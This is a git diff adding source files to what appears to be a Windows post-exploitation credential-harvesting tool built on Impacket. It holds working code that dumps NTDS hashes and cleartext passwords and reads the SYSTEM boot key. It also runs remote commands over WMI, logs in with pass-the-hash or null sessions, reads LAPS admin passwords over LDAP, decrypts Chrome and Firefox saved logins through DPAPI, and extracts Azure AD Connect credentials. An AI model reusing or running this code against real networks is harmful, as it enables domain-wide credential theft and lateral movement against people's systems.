self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_KERBEROS, itemKey) + + # And finally the cleartext pwds + if len(self.__clearTextPwds) > 0: + if self.__useVSSMethod is True: + LOG.info('ClearText password from %s ' % self.__NTDS) + else: + LOG.info('ClearText passwords grabbed') + + for itemKey in list(self.__clearTextPwds.keys()): + self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_CLEARTEXT, itemKey) + finally: + # Resources cleanup + if hashesOutputFile is not None: + hashesOutputFile.close() + + if keysOutputFile is not None: + keysOutputFile.close() + + if clearTextOutputFile is not None: + clearTextOutputFile.close() + + self.__resumeSession.endTransaction() + + @classmethod + def __writeOutput(cls, fd, data): + try: + fd.write(data) + except Exception as e: + LOG.error("Error writing entry, skipping (%s)" % str(e)) + pass + + def finish(self): + if self.__NTDS is not None: + self.__ESEDB.close() + +class LocalOperations: + def __init__(self, systemHive): + self.__systemHive = systemHive + + def getBootKey(self): + # Local Version whenever we are given the files directly + bootKey = b'' + tmpKey = b'' + winreg = winregistry.Registry(self.__systemHive, False) + # We gotta find out the Current Control Set + currentControlSet = winreg.getValue('\\Select\\Current')[1] + currentControlSet = "ControlSet%03d" % currentControlSet + for key in ['JD', 'Skew1', 'GBG', 'Data']: + LOG.debug('Retrieving class info for %s' % key) + ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet, key)) + digit = ans[:16].decode('utf-16le') + tmpKey = tmpKey + b(digit) + + transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7] + + tmpKey = unhexlify(tmpKey) + + for i in range(len(tmpKey)): + bootKey += tmpKey[transforms[i]:transforms[i] + 1] + + LOG.info('Target system bootKey: 0x%s' % hexlify(bootKey).decode('utf-8')) + + return bootKey + + + def checkNoLMHashPolicy(self): + LOG.debug('Checking NoLMHash Policy') + winreg = winregistry.Registry(self.__systemHive, False) + # We gotta find out the Current Control Set + currentControlSet = winreg.getValue('\\Select\\Current')[1] + currentControlSet = "ControlSet%03d" % currentControlSet + + # noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1] + noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet) + if noLmHash is not None: + noLmHash = noLmHash[1] + else: + noLmHash = 0 + + if noLmHash != 1: + LOG.debug('LMHashes are being stored') + return False + LOG.debug('LMHashes are NOT being stored') + return True + +def _print_helper(*args, **kwargs): + if LOG.level <40: + print(args[-1]) diff --git a/lib/toolbox.py b/lib/toolbox.py new file mode 100644 index 0000000..3311411 --- /dev/null +++ b/lib/toolbox.py @@ -0,0 +1,77 @@ +#!/usr/bin/env python +# coding:utf-8 +import re, os, ipaddress +import logging + + +ipv4_re=r'^(?:[0-9,\-]{1,}\.){3}[0-9,\-]{1,}$' +def split_targets(target: str): + all_ips = [] + if os.path.exists(target) and not os.path.isdir(target): + f = open(target) + targets = f.read().split('\n') + f.close() + elif ";" in target: + targets = target.split(';') + else: + targets = [target] + + tmp_target = [] + for target in targets: + if len(target)<=2: + continue + try: + if target.count('/') == 1: # CIDR Notation + target,cidr = target.split('/') + else: + cidr = '32' + + if re.fullmatch(ipv4_re,target)!=None: + tmp = target.split('.') + tmp2 = [[], [], [], []] + for index, subtmp in enumerate(tmp): + if ',' in subtmp: + tmp2[index] = subtmp.split(',') + elif '-' in subtmp: + start, stop = subtmp.split('-') + start = int(start) + stop = int(stop) + for val in range(start, stop + 1): + tmp2[index].append(str(val)) + else: + tmp2[index] = [subtmp] + + for ip0 in tmp2[0]: + for ip1 in tmp2[1]: + for ip2 in tmp2[2]: + for ip3 in tmp2[3]: + all_ips+=[str(ip) for ip in ipaddress.IPv4Network('{ip0}.{ip1}.{ip2}.{ip3}/{cidr}'.format(ip0=ip0, ip1=ip1, ip2=ip2, ip3=ip3,cidr=cidr))] + else : + all_ips.append(target) + #machine name + + logging.error("IP {ip} not a correct ip or is a machine name ... lets try it ".format(ip=target)) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(str(e)) + return all_ips + +def is_guid(value: str): + UUIDv4 = '/^[0-9A-F]{8}-[0-9A-F]{4}-4[0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i' + GUID = re.compile(r'^(\{{0,1}([0-9a-fA-F]{8})-([0-9a-fA-F]{4})-([0-9a-fA-F]{4})-([0-9a-fA-F]{4})-([0-9a-fA-F]{12})\}{0,1})$') + if GUID.match(value): + return True + else: + return False + +class bcolors: + HEADER = '\033[95m' + OKBLUE = '\033[94m' + OKGREEN = '\033[92m' + WARNING = '\033[93m' + FAIL = '\033[91m' + ENDC = '\033[0m' + BOLD = '\033[1m' + UNDERLINE = '\033[4m' diff --git a/lib/wmi.py b/lib/wmi.py new file mode 100644 index 0000000..c4a6501 --- /dev/null +++ b/lib/wmi.py @@ -0,0 +1,96 @@ +# Author: +# Romain Bentz (pixis - @hackanddo) +# Website: +# https://beta.hackndo.com [FR] +# https://en.hackndo.com [EN] + +# Based on Impacket wmiexec implementation by @agsolino +# https://github.com/SecureAuthCorp/impacket/blob/429f97a894d35473d478cbacff5919739ae409b4/examples/wmiexec.py + +import socket + +from impacket.dcerpc.v5.dcom import wmi +from impacket.dcerpc.v5.dcomrt import DCOMConnection +from impacket.dcerpc.v5.dtypes import NULL + + +class WMI: + def __init__(self, connection, logger,options): + self.conn = connection + self.conn.kerberos=options.k + self.conn.hostname = options.hostname + self.conn.username = options.username + self.conn.password = options.password + self.conn.domain_name = options.domain + self.conn.lmhash = options.lmhash + self.conn.nthash = options.nthash + self.conn.aesKey = options.aesKey + self.conn.dc_ip = options.dc_ip + + if not self.conn.kerberos: + self.conn.hostname = list({addr[-1][0] for addr in socket.getaddrinfo(self.conn.hostname, 0, 0, 0, 0)})[0] + self.log = logger + self.win32Process = None + self.iWbemServices = None + self.buffer = "" + self.dcom = None + + + self._getwin32process() + + def _buffer_callback(self, data): + self.buffer += str(data) + + def _getwin32process(self): + if self.conn.kerberos: + self.log.debug("Trying to authenticate using kerberos ticket") + else: + self.log.debug("Trying to authenticate using : {}\\{}:{}".format( + self.conn.domain_name, + self.conn.username, + self.conn.password) + ) + + try: + self.dcom = DCOMConnection( + self.conn.hostname, + self.conn.username, + self.conn.password, + self.conn.domain_name, + self.conn.lmhash, + self.conn.nthash, + self.conn.aesKey, + oxidResolver=True, + doKerberos=self.conn.kerberos, + kdcHost=self.conn.dc_ip + ) + iInterface = self.dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) + iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) + self.iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) + iWbemLevel1Login.RemRelease() + self.win32Process, _ = self.iWbemServices.GetObject('Win32_Process') + except KeyboardInterrupt as e: + self.dcom.disconnect() + raise KeyboardInterrupt(e) + except Exception as e: + self.dcom.disconnect() + raise Exception("WMIEXEC not supported on host %s : %s" % (self.conn.hostname, e)) + + + def execute(self, commands): + command = " & ".join(commands) + #print(command) + try: + self.win32Process.Create(command, "C:\\", None) + self.iWbemServices.disconnect() + self.dcom.disconnect() + except KeyboardInterrupt as e: + self.log.debug("WMI Execution stopped because of keyboard interruption") + self.iWbemServices.disconnect() + self.dcom.disconnect() + raise KeyboardInterrupt(e) + except Exception as e: + self.log.debug("Error : {}".format(e)) + self.iWbemServices.disconnect() + self.dcom.disconnect() + self.log.debug("WMI Execution Finished") \ No newline at end of file diff --git a/myseatbelt.py b/myseatbelt.py new file mode 100644 index 0000000..b5a378d --- /dev/null +++ b/myseatbelt.py @@ -0,0 +1,1981 @@ +#!/usr/bin/env python +# coding:utf-8 +''' +PA Vandewoestyne +''' +from __future__ import division +from __future__ import print_function + +import copy +from pathlib import Path + +from lib.secretsdump import LSASecrets as MyLSASecrets +from lib.secretsdump import SAMHashes as MySAMHashes +import socket,impacket + +from impacket.dcerpc.v5 import srvs +from impacket.dcerpc.v5.dtypes import NULL +from impacket.smb import SMB_DIALECT + +#import impacket.dpapi +from lib.dpapi import DPAPI, CredHist +from software.browser.chrome_decrypt import * +from software.browser.firefox_decrypt import * +from software.sysadmin.vnc import Vnc +from lib.toolbox import is_guid +from myusers import * +from lib.fileops import MyRegOps +from database import database +from lib.new_module import * +from lib.RecentFiles import * +from lib.adconnect import * +from ldap3 import ALL, Server, Connection, NTLM +#from lib.lazagne_dpapi.credhist import CredHistFile + +class MySeatBelt: + def __init__(self, target, options, logger, verbose=1): + self.logging = logger + self.options = copy.deepcopy(options) + self.options.target_ip = target + self.host = target + #self.username=options.username + #self.password=options.password + #self.domain=options.domain + self.options.timeout=5 + self.smb = None + #options.target_ip=target + """ + self.logging.info(f"[{target}] [-] initialising smb connection to {options.domain} / {options.username} : {options.password}, @ {options.dc_ip} , Hash : {options.lmhash} : { options.nthash}, AESKey {options.aesKey}") + smbClient = SMBConnection(options.address, target, sess_port=int(options.port)) + if options.k is True: + smbClient.kerberosLogin(options.username, options.password, options.domain, options.lmhash, options.nthash, options.aesKey, options.dc_ip ) + else: + smbClient.login(options.username, options.password, options.domain, options.lmhash, options.nthash) + + self.smb = smbClient + """ + #Init all + self.smbv1 = False + self.admin_privs = False + #self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = self.smb.getCredentials() + self.share = None + self.last_output = None + self.completion = [] + self.users = [] + self.user_path = '' + self.machine_key = [] + self.user_key = [] + + #self.options[logging] = logge + self.myfileops = None + self.myregops = None + #self.myfileops = MyFileOps(self.smb,self.logging,self.options) + self.credz = options.credz + self.__remoteOps = None + self.__bootKey = b'' + self.__SAMHashes = None + self.__LSASecrets = None + self.global_logfile = b'globallog.log' + self.init_connect() + #logger.init() + + def init_connect(self): + try: + self.db = database(sqlite3.connect(self.options.db_path, check_same_thread=False), self.logging) + if self.create_conn_obj(): + #self.do_info_rpc_unauth() + self.do_info_unauth() + if self.login_conn(): + self.is_admin() + if self.admin_privs: + self.myfileops = MyFileOps(self.smb, self.logging, self.options) + self.myregops = MyRegOps(self.logging,self.options) + return True + else: + return False + return False + except Exception as e: + self.logging.debug('Error init connect') + return False + + + def create_smbv1_conn(self): + try: + self.smb = SMBConnection(self.host, self.host, None, self.options.port, preferredDialect=SMB_DIALECT, timeout=self.options.timeout) + self.smbv1 = True + logging.debug('SMBv1 OK on {} - {}'.format(self.host,self.options.target_ip)) + except socket.error as e: + if str(e).find('Connection reset by peer') != -1: + logging.debug('SMBv1 might be disabled on {}'.format(self.host)) + return False + except Exception as e: + logging.debug('Error creating SMBv1 connection to {}: {}'.format(self.host, e)) + return False + + return True + + def create_smbv3_conn(self): + try: + self.smb = SMBConnection(self.host, self.host, None, self.options.port, timeout=self.options.timeout) + self.smbv1 = False + logging.debug('SMBv3 OK on {} - {}'.format(self.host,self.options.target_ip)) + except Exception as e: + self.logging.debug('Error creating SMBv3 connection to {}: {}'.format(self.host, e)) + self.db.add_computer(ip=self.host,connectivity=f"{e}") + return False + + return True + + def create_conn_obj(self): + #self.logging.info(f"[{self.options.target_ip}] [-] initialising smb connection to {self.options.domain} / {self.options.username} : {self.options.password}, @ {self.options.dc_ip} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}") + self.logging.debug(f"[{self.options.target_ip}] [-] initialising smb connection ...") + if self.create_smbv1_conn(): + return True + elif self.create_smbv3_conn(): + return True + + return False + + def quit(self): + try: + self.logging.debug(f"[{self.options.target_ip}] [-] initialising smb close ...") + #self.myfileops.close() + #self.myregops.close() + #self.smb.close() + self.logging.debug(f"[{self.options.target_ip}] [-] smb closed ...") + except Exception as e: + self.logging.debug('Error in closing SMB connection') + return False + + def get_laps(self): + try: + self.logging.debug(f"[{self.options.target_ip}] [-] Using LAPS to get Local admin password on {self.options.hostname} - domain {self.options.domain} : dcip {self.options.dc_ip}") + ldap_domain = '' + ldap_domain_parts = self.options.domain.split('.') + for part in ldap_domain_parts: + ldap_domain += f"dc={part}," + ldap_domain = ldap_domain[:-1] + + if self.options.dc_ip != None: + s = Server(self.options.dc_ip, get_info=ALL) + else: + s = Server(self.options.domain, get_info=ALL) + c = Connection(s, user=self.options.domain + "\\" + self.options.username, password=self.options.password, authentication=NTLM, auto_bind=True) + c.search(search_base=f"{ldap_domain}", + search_filter=f'(&(cn={self.options.hostname})(ms-MCS-AdmPwd=*))', + attributes=['ms-MCS-AdmPwd', 'SAMAccountname']) + self.logging.debug(f"[{self.options.target_ip}] [-] Using LAPS to get Local admin password on {self.options.hostname} - {ldap_domain} - got {len(c.entries)} match") + if len(c.entries)==1: + #for entry in c.entries[0]: + entry=c.entries[0] + #self.options.username = str(entry['sAMAccountName']) + self.options.password = str(entry['ms-Mcs-AdmPwd']) + #self.username = self.options.username + #self.password = self.options.password + self.options.local_auth = True + self.options.domain = self.options.hostname + return True + else: + return False + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in get LAPS {bcolors.ENDC}") + self.logging.debug(ex) + return False + + def login_conn(self,username=None,password=None,domain=None): + try: + if username is None: + username=self.options.username + if password==None: + password=self.options.password + if domain==None: + domain=self.options.domain + #smbClient = SMBConnection(options.address, target, sess_port=int(options.port)) + if self.options.k is True: + self.logging.debug(f"[{self.options.target_ip}] [-] initialising smb Kerberos Authentification to {self.options.domain} / {self.options.username} : {self.options.password}, @ {self.options.dc_ip} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}") + self.smb.kerberosLogin(username, password, domain, self.options.lmhash, self.options.nthash, self.options.aesKey, self.options.dc_ip) + #elif self.options.hashes != None: + else: + if self.options.laps is True and username != '' and password != '': # not doing LAPS for null session + if(self.get_laps()): + for username in ['Administrator','Administrateur','Administrador']: + try: + self.logging.debug(f"[{self.options.target_ip}] [-] initialising smb Local Authentification to {self.options.domain} / {username} : {self.options.password}, @ {self.host} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}") + self.smb.login(username, self.options.password, self.options.domain, self.options.lmhash, self.options.nthash, ntlmFallback=True) + self.options.username=username + if username not in self.options.credz: + self.options.credz[username] = [self.options.password] + else: + self.options.credz[username].append(self.options.password) + return True + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in LOGIN_Connection - LAPS with {bcolors.ENDC}") + self.logging.debug(ex) + continue + else: + if username == "" and password == "": + try: + self.logging.debug(f"[{self.options.target_ip}] [-] initialising smb NullSession to {self.host}") + self.smb.login(username, password, domain, self.options.lmhash, self.options.nthash,ntlmFallback=True) + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] Exception {bcolors.WARNING} in NullSession {bcolors.ENDC}") + self.logging.debug(ex) + return False + else: + self.logging.debug(f"[{self.options.target_ip}] [-] initialising smb Authentification to {domain} / {username} : {password}, @ {self.host} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}") + self.smb.login(username, password, domain, self.options.lmhash, self.options.nthash, ntlmFallback=True) + '''except : #self.smb.STATUS_LOGON_FAILURE : + try: + if domain != self.hostname: + #Trying localy + self.smb.login(username, password, self.hostname, self.options.lmhash, self.options.nthash, ntlmFallback=True) + return True + else:#On pourrait tenter une connexion domain, mais on risque d'augmenter le compte des erreurs + self.logging.error(f"[{self.options.target_ip}] Error {bcolors.WARNING} Connexion refused with credentials {domain}/{username}:{password}@{self.host} {bcolors.ENDC}") + return False + except Exception as ex: + self.logging.error(f"[{self.options.target_ip}] Exception {bcolors.WARNING} Connexion Error in Local attempt {bcolors.ENDC}") + self.logging.debug(ex) + return False''' + #self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = self.smb.getCredentials() + return True + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in LOGIN_Connection {bcolors.ENDC}") + self.logging.debug(ex) + return False + + + def GetUserByName(self,username): + for user in self.users: + if user.username==username: + return user + else: + self.logging.debug("User %s Not found in self.users"%username) + + + def is_admin(self): + self.logging.debug(f"[{self.options.target_ip}] Checking if is admin ") + self.admin_privs = False + try: + self.smb.connectTree("C$") + self.admin_privs = True + self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}Is ADMIN{bcolors.ENDC}") + self.db.update_computer(ip=self.options.target_ip,is_admin=True) + except SessionError as e: + self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception in IS ADMIN{bcolors.ENDC}") + self.logging.debug(f"[{self.options.target_ip}] {e}") + self.db.update_computer(ip=self.options.target_ip, is_admin=False) + pass + return self.admin_privs + + + def do_info_unauth(self): + #self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] + try: + #Null session to get basic infos + self.login_conn(username='',password='') + #self.domain = self.smb.getServerDNSDomainName() + self.options.hostname = self.smb.getServerName() + #self.options.hostname=self.hostname + self.server_os = self.smb.getServerOS() + self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection['RequireSigning'] + # self.os_arch = self.get_os_arch() + if self.options.domain == '': #no domain info == local auth + self.options.domain = self.options.hostname + #elif self.options.domain != '': + # self.domain = self.options.domain + + self.logging.info(f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.options.hostname}{bcolors.ENDC} (domain:{self.smb.getServerDNSDomainName()}) ({self.server_os}) [SMB Signing {'Enabled' if self.signing else 'Disabled'}]") + self.db.add_computer(ip=self.options.target_ip,hostname=self.options.hostname,domain=self.smb.getServerDNSDomainName(),os=self.server_os,smb_signing_enabled=self.signing,smbv1_enabled=self.smbv1) + + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO UNAUTH {bcolors.ENDC}") + self.logging.debug(ex) + + def do_info_rpc_unauth(self): + try: + rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc', smb_connection=self.smb) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) + resp = srvs.hNetrServerGetInfo(dce, 102) + self.logging.debug("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name']) + self.hostname = resp['InfoStruct']['ServerInfo102']['sv102_name'] + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO {bcolors.ENDC}") + self.logging.debug(ex) + def do_info_with_auth(self): + #self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] + try: + #Null session to get basic infos + self.login_conn() + #self.domain = self.smb.getServerDNSDomainName() + self.options.hostname = self.smb.getServerName() + self.server_os = self.smb.getServerOS() + self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection['RequireSigning'] + # self.os_arch = self.get_os_arch() + if not self.domain and self.options.domain == '': + self.domain = self.options.hostname + elif self.options.domain != '': + self.domain = self.options.domain + + self.logging.info( + f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.hostname}{bcolors.ENDC} (domain:{self.domain}) {self.hostname} ({self.server_os}) [SMB Signing {'Enabled' if self.signing else 'Disabled'}]") + #IP# print(self.smb.getRemoteHost()) + #print(self.smb.getServerDNSDomainName()) + rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc', smb_connection=self.smb) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) + resp = srvs.hNetrServerGetInfo(dce, 102) + #self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection['RequireSigning'] + #self.os_arch = self.get_os_arch() + + #self.logging.debug("Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major']) + #self.logging.debug("Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor']) + #self.logging.debug("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name']) + #self.logging.debug("Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment']) + #self.logging.debug("Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath']) + #self.logging.debug("Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users']) + #USE user path + self.user_path = resp['InfoStruct']['ServerInfo102']['sv102_userpath'] + + self.db.add_computer(ip=self.options.target_ip,hostname=self.hostname,domain=self.domain,os=self.server_os) + self.logging.info(f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.hostname}{bcolors.ENDC} (domain:{self.domain}) ({self.server_os} - {resp['InfoStruct']['ServerInfo102']['sv102_comment']} -{resp['InfoStruct']['ServerInfo102']['sv102_userpath']} - {resp['InfoStruct']['ServerInfo102']['sv102_users']})") + + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO AUTH{bcolors.ENDC}") + self.logging.debug(ex) + + def logsecret(self,data): + try: + fh = open(self.global_logfile, 'ab') + fh.write(data.encode()) + fh.close() + self.logging.info(f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} {data} {bcolors.ENDC}") + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception logsecret for {data} {bcolors.ENDC}") + self.logging.debug(ex) + + def GetMozillaSecrets_wrapper(self): + self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Mozilla Secrets {bcolors.ENDC}") + + for user in self.users: + if user.username == 'MACHINE$': + continue + try: + myoptions = copy.deepcopy(self.options) + myoptions.file = None # "chrome_enc_blob.tmp" # BLOB to parse + myoptions.key = None + myoptions.masterkeys = None + myFirefoxSecrets = FIREFOX_LOGINS(myoptions, self.logging, user, self.myfileops,self.db) + myFirefoxSecrets.run() + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception GetMozillaSecrets_wrapper for {user.username} {bcolors.ENDC}") + self.logging.debug(ex) + def GetChormeSecrets(self): + self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Chrome Secrets {bcolors.ENDC}") + blacklist = ['.', '..'] + # Parse chrome + # autres navigateurs ? + + user_directories = [("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data", 'Local State', 'ChromeLocalState', 'DOMAIN'), + ("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default", 'Cookies', 'ChromeCookies', 'DOMAIN'), + ("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default", 'Login Data', 'ChromeLoginData', 'DOMAIN'), + ] + + + for user in self.users: + if user.username == 'MACHINE$': + continue + else: + directories_to_use = user_directories + myoptions = copy.deepcopy(self.options) + myoptions.file = None # "chrome_enc_blob.tmp" # BLOB to parse + myoptions.key = None + myoptions.masterkeys = None + myChromeSecrets = CHROME_LOGINS(myoptions, self.logging, self.db,user.username) + + # if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup + for info in directories_to_use: + my_dir, my_mask, my_blob_type, my_user_type = info + tmp_pwd = my_dir.format(username=user.username)#tmp_pwd = f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir) + self.logging.debug(f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}") + my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False) + for infos in my_directory: + longname, is_directory = infos + self.logging.debug("ls returned file %s" % longname) + if longname not in blacklist and not is_directory: + try: + self.logging.debug(f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome files : {longname}") + # Downloading Blob file + localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname),allow_access_error=True) + #myoptions = copy.deepcopy(self.options) + if my_blob_type == 'ChromeLocalState': + try: + myChromeSecrets.localstate_path=localfile + guid=myChromeSecrets.get_masterkey_guid_from_localstate() + if guid != None: + masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type) + if masterkey != None: + if masterkey['status'] == 'decrypted': + myChromeSecrets.masterkey = masterkey['key'] + aesKey = myChromeSecrets.get_AES_key_from_localstate(masterkey=masterkey['key']) + if aesKey != None: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome AES Key {aesKey} {bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey{bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State - Masterkey not decrypted{bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey- cant get masterkey {guid}{bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}") + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ChromeLocalState{bcolors.ENDC}") + self.logging.debug(ex) + if my_blob_type == 'ChromeLoginData': + try: + myChromeSecrets.logindata_path=localfile + user.files[longname] = {} + user.files[longname]['type'] = my_blob_type + user.files[longname]['status'] = 'encrypted' + user.files[longname]['path'] = localfile + logins=myChromeSecrets.decrypt_chrome_LoginData() + user.files[longname]['secret'] = logins + if logins is not None: + user.files[longname]['status'] = 'decrypted' + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting logindata for CHROME {user.username} {localfile} {bcolors.ENDC}") + self.logging.debug(ex) + if my_blob_type == 'ChromeCookies': + """ + myChromeSecrets.cookie_path=localfile + user.files[longname] = {} + user.files[longname]['type'] = my_blob_type + user.files[longname]['status'] = 'encrypted' + user.files[longname]['path'] = localfile + cookies=myChromeSecrets.decrypt_chrome_CookieData() + user.files[longname]['secret'] = cookies + if cookies is not None: + user.files[longname]['status'] = 'decrypted' + """ + + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}") + self.logging.debug(ex) + + def getMdbData(self): + try: + return self.getMdbData2() + except UnicodeDecodeError: + return self.getMdbData2('utf-16-le') + def getMdbData2(self, codec='utf-8'): + try: + out = { + 'cryptedrecords': [], + 'xmldata': [] + } + keydata = None + # + #self.options.from_file='adsync_export' + + if self.options.from_file: + logging.info('Loading configuration data from %s on filesystem', self.options.from_file) + infile = codecs.open(self.options.from_file, 'r', codec) + enumtarget = infile + else: + logging.info('Querying database for configuration data') + dbpath = os.path.join(os.getcwd(), r"ADSync.mdf") + output = subprocess.Popen(["ADSyncQuery.exe", dbpath], stdout=subprocess.PIPE).communicate()[0] + enumtarget = output.split('\n') + + #####TEMP + #logging.info('Loading configuration data from %s on filesystem', self.__options.from_file) + #infile = codecs.open('adsync_export', 'r', codec) + #enumtarget = infile + ###### + + for line in enumtarget: + print(line) + try: + ltype, data = line.strip().split(': ') + except ValueError: + continue + ltype = ltype.replace(u'\ufeff', u'') + if ltype.lower() == 'record': + xmldata, crypteddata = data.split(';') + out['cryptedrecords'].append(crypteddata) + out['xmldata'].append(xmldata) + #print(f"record found : {xmldata}") + + if ltype.lower() == 'config': + instance, keyset_id, entropy = data.split(';') + out['instance'] = instance + out['keyset_id'] = keyset_id + out['entropy'] = entropy + #if self.__options.from_file: + # infile.close() + # Check if all values are in the outdata + required = ['cryptedrecords', 'xmldata', 'instance', 'keyset_id', 'entropy'] + for option in required: + if not option in out: + logging.error( + 'Missing data from database. Option %s could not be extracted. Check your database or output file.', + option) + return None + return out + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in Parsing database : Please manualy run ADSyncQuery.exe ADSync.mdf > adsync_export on a windows env with MSSQL support{bcolors.ENDC}") + self.logging.debug(ex) + def Get_AD_Connect(self,user, localfile, data): + #Local DPAPI extracted data + info="" + parts = data['Target'].decode('utf-16le')[:-1].split('_') + localBlobdatas= { + 'instanceid': parts[3][1:-1].lower(), + 'keyset_id': parts[4], + 'data': data['Unknown3'] + } + #print(localBlobdatas) + + #ADConnect Database data + logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE} Trying to get ADConnect account{bcolors.ENDC}") + try: + #Stop Service / Download DB / Start DB + myADSRemoteOps = ADSRemoteOperations(smbConnection=self.smb, doKerberos=False) + myADSRemoteOps.gatherAdSyncMdb() + #files_to_dl=['Program Files\\Microsoft Azure AD Sync\\Data\\ADSync.mdf','Program Files\\Microsoft Azure AD Sync\\Data\\ADSync_log.ldf'] + mdbdata=self.getMdbData() + if mdbdata is None: + logging.debug(f"[{self.options.target_ip}] Could not extract required database information. Exiting") + return + #print(mdbdata) + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ADSRemoteOperations 1{bcolors.ENDC}") + self.logging.debug(ex) + + result=localBlobdatas + if result is not None: + if result['keyset_id'] != mdbdata['keyset_id'] or result['instanceid'] != mdbdata['instance']: + logging.debug('Found keyset %s instance %s, but need keyset %s instance %s. Trying next', + result['keyset_id'], result['instanceid'], mdbdata['keyset_id'], mdbdata['instance']) + else: + logging.debug('Found correct encrypted keyset to decrypt data') + if result is None: + logging.debug('Failed to find correct keyset data') + return + + #cryptkeys = [self.__remoteOps.decryptDpapiBlobSystemkey(result['data'], self.dpapiSystem['MachineKey'],string_to_bin(mdbdata['entropy']))] + myoptions = copy.deepcopy(self.options) + myoptions.file = None # "key_material.tmp" # BLOB to parse + myoptions.key = None + myoptions.masterkeys = None # 